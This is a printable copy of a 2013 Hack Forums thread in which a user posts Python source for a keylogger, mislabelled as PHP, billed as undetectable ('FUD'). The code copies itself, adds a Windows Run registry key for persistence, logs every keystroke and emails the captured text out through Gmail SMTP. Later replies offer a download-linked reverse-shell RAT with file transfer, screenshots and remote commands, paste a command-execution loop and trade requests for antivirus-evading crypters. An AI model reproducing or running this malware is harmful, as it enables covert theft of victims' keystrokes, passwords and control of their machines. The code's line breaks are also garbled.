Hack Forums
Make own keylogger 100% FUD python - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Make own keylogger 100% FUD python (/showthread.php?tid=3341843)



Make own keylogger 100% FUD python - jeetjain2345 - Mar 20, 2013

PHP Code

<?php 
#--
# Name:  keylogger
# Purpose:  Tutorial
#
# Author:  jeetu
#
# Created:  04/01/2010
# Copyright:   (c) jeetu 2012
#--

import sys
import os
import shutil
from _winreg import 
*
import smtplib
import pythoncom
, pyHook
import smtplib
keylog
=""

def main():
    
pass
#module part

curntfile=sys.argv[0]     #currnt filie name
username=os.getenv('USERNAME')
dist="C:/Documents and Settings/"+username+"/regky"
servername="/setup.exe"     #NOTE IF U CHANG NAME HERE U HAVE TO CHANG NAME IN SET VALUE KEY BYE THE SAME ANME AND NEED TO RENAME FILE
if not os.path.isdir(dist):     #moving file to new directory
    
os.mkdir(dist)
try:
    
shutil.copy2(curntfile, dist+servername)
except:
    
pass
    
#editing file in registry key
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,"System explore",0, REG_SZ, "C:\\Documents and Settings\\"+username+"\\regky\\setup.exe" )

def OnKeyboardEvent(event):
    global 
keylog
    
if event.Ascii ==8:
  
keylog+="[BakeSpace]"
    
keylog+=chr(event.Ascii)
    if 
len(keylog)>200:  #fix the bites size when u want to send mail

  
fromaddr = '[email protected]'
  
toaddrs = '[email protected]'
  
#provide gmail user name and password
  
username = '[email protected]'
  
password = 'yourpassword'
  
# functions to send an email
  
server = smtplib.SMTP('smtp.gmail.com:587')
  
server.ehlo()
  
server.starttls()
  
server.ehlo()
  
server.login(username,password)
  
server.sendmail(fromaddr, toaddrs, keylog)
  
server.quit()
  
keylog=""
  
# return True to pass the event to other handlers
    
return True

if __name__ == '__main__':
    
main()
    
# create a hook manager
    
hm = pyHook.HookManager()
    
# watch for all mouse events
    
hm.KeyDown = OnKeyboardEvent
    
# set the hook
    
hm.HookKeyboard()
    
# wait forever
    
pythoncom.PumpMessages() 

Well guys it is just a demo not complete tutorial
how to use and how to make an .exe for windows
how to make it FUD and invisible
and more of them i added only xp reg key add option
if get good response on it than will explain all the answer 🤗🤗

What about an RAT 100% FUD ???


* - avijon - Mar 20, 2013

i need fud crypter,if you know about it something ? :D


* - jeetjain2345 - Mar 20, 2013

(Mar 20, 2013 01:09 PM)avijon Wrote:  i need fud crypter,if you know about it something ? :D

why u need crypter ?
crypter always detected by A/V soon so not a good idea well i had one i made year ago in vb that time i tested on avg and few more av and that work fine now i don't know about detection rate but if u real want to try that i will give u

more if u know programing in vb studio i will give u project modify and make as u need


* - SkyFer - Mar 21, 2013

So how to make a rat 100% FUD ? O.o I really need to do that with darkcomet 5.3


* - .bLue - Mar 21, 2013

would like to know how to make a rat fud :)


* - jeetjain2345 - Mar 22, 2013

i did not mean to make other RAT fud i had one in python which is FUD 100% tested
i will give test file for both listener and Clint try that on any AV that will be not detected as virus


* - lowkasen - Mar 22, 2013

How to make rat 100% fud??? really want to know that


* - jeetjain2345 - Mar 22, 2013

Here is demo test server and test shell
keep enable ur AV what ever u have
open extract Testserver.zip and open that file and enter ur localhost 127.0.0.1 as host and a port which u like to listen like 80 4444 or any thing

extract testshell some where now open shell file and enter Localhost 127.0.0.1 as host enter same port where u listening
for learning purpose i kept shell file visible so when u close shell file it will be close now try to excute all cmd commands from server file and that will give u response added few more command lines like u can move dir with cd path
u can upload file with upload filaname remember u can upload files where ur server is running i mean if server is running on ur desktop u can upload anyfile from desktop and file will be uploaded in that folder where is shell running

u can download file
download filename

if u want to remove it from your system go to your current user dir and there will be one dir as regkey delet that so when u
restart pc it will be not execute automatic if u wont delet regkey than each time when u restart ur pc shell will be excute automatic
because shell is visible and this is not real attacking file it just a test

u can capture screenshot of ur slave pc as well as and u can upload any file execute delete and much more

hope this will help i know its a short description but will give u idea about python programing

http://www.mediafire.com/?8cp3c93gxjbttx7 test shell
http://www.mediafire.com/?k50n0rhc599vs10 server file
server or listener for attacker to listen connection back
shell for slave pc which will give connection back to attacker where attacker is listening

Note: this will not harm your pc at all and it is just test me thinking to create a new thread where every one can learn about how to make own
project


* - #Skyline - Mar 22, 2013

This would not be your source. Stop spreading around useless material you're claiming is yours.


* - Im gone brah - Mar 22, 2013

(Mar 22, 2013 04:58 AM)#Skyline Wrote:  This would not be your source. Stop spreading around useless material you're claiming is yours.

Indeed, 🤝
,Regards
-Limpa124🤝

don't leach, atleast not without credits😉


* - jeetjain2345 - Mar 22, 2013

(Mar 22, 2013 04:58 AM)#Skyline Wrote:  This would not be your source. Stop spreading around useless material you're claiming is yours.

Bro agree with you but i added more function in that all feature need to control over target pc. No one can make anything without reading about the concept, if u will get few line of code and made a application for u what u will say that me posting the line only which i got from google

PHP Code

<?php 
import subprocess
while True:
    
command=raw_input("CMD> ")
    
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  
# read output
    
stdout_value = proc.stdout.read() + proc.stderr.read()
    print 
stdout_value 
if u know socket, how to send and receive data u can create what u want with this hope u understand and for this line where from i took even i don't remember its long been so whom i should give credit and am not giving credit myself

if u mean with this line
means credit to me so i want to tell u i do use pyscripter for coding in python and this is already added to pyscripter no need to write it
PHP Code

<?php 
#--
# Name:  keylogger
# Purpose:  Tutorial
#
# Author:  jeetu
#
# Created:  04/01/2010
# Copyright:   (c) jeetu 2012
#-- 



* - Mapple - Mar 22, 2013

I'm not sure why you would want a keylogger in Python, but good tutorial anyway!


* - SONY123 - Mar 22, 2013

I have the same idea, too make a own keylogger. Doesnt work yet :(


* - jeetjain2345 - Mar 22, 2013

(Mar 22, 2013 11:27 AM)SONY123 Wrote:  I have the same idea, too make a own keylogger. Doesnt work yet :(

this is working but its not full code full detail how to use it will post it soon